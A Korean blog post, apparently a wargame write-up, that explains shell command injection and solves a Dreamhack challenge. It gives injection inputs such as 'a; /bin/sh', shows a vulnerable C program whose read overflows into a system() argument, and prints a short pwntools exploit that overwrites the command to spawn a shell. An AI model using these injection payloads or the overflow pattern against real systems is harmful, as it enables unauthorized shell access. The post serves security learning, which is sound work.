System Hacking

command injection

burrri 2024. 3. 23. 02:03

Command Injection

: 명령어를 실행하는 함수에 사용자가 임의의 인자를 전달할 수 있을 때 발생하는 취약점

 

Meta 문자 description example
$ 셸 환경변수  $echo $PWD
&& 이전 명령어 실행 후 다음 명령어 실행 $echo hello && echo theori
명령어 구분자 $echo hello; echo theori
* 와일드 카드  $echo .*
' 명령어 치환 $echo 'echo hellotheori'

 

예시로 ping [userinput]의 경우

userinput = 'a; /bin/sh' 입력 시에 ping실행 후에 셸 획득가능

 

 

+ system함수 명령어 실행과정

library내부의 do_system함수 호출 - do_system함수는 "sh-c"와 system함수의 인자와 결합하여 execve 시스템 콜을 호출한다.

 


cmd_center

https://dreamhack.io/wargame/challenges/117

 

주요 코드

void init() {
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
}

int main()
{

	char cmd_ip[256] = "ifconfig";
	int dummy;
	char center_name[24];

	init();

	printf("Center name: ");
	read(0, center_name, 100);


	if( !strncmp(cmd_ip, "ifconfig", 8)) {
		system(cmd_ip);
	}

	else {
		printf("Something is wrong!\n");
	}
	exit(0);
}

- cmd_ip 에 "ifconfig"라는 문자열 저장, int dummy, center_name은 24바이트

- read함수를 통해 100바이트를 읽어와서 center_name에 저장 => BOF 취약점!

- strncmp함수를 이용하여 cmd_ip의 값의 첫 8바이트가 ifconfig와 일치하면 system함수 호출 

=> command injection 취약점!

즉, cmd_ip를 조작하여 command injection 가능하다

 

 

Exploit

center_name을 이용하여 cmd_ip를 "ifconfig;/bin/sh"로 덮어쓰는 것이 목표이므로 
center_name과 cmd_ip사이의 거리를 구해보자.

 

 

read(0,center_name,100)

system

 

read는 <main+125> 을 통해  [rbp-0x130]에 위치한다는 것을 알 수 있고, 

system은 <main + 171>을 통해  [rbp -0x110]에 위치함을 알 수 있으므로 둘 사이의 거리는 0x20 (32바이트)

 

그러므로 dummy값으로 32바이트만큼을 채우고 원하는 명령어를 적어주면 된다. 

from pwn import *

p = remote("host3.dreamhack.games",13518)


payload = b'A' * 32
payload += b"ifconfig ;/bin/sh"

p.sendlineafter("Center name: ", payload)
p.interactive()

'System Hacking' 카테고리의 다른 글

SECCOMP  (0) 2024.03.23
Path Traversal  (0) 2024.03.23
Logical Bug : Type Error  (0) 2024.03.22
Double Free Bug | dreamhack  (1) 2024.03.17
Use After Free | dreamhack  (1) 2024.03.17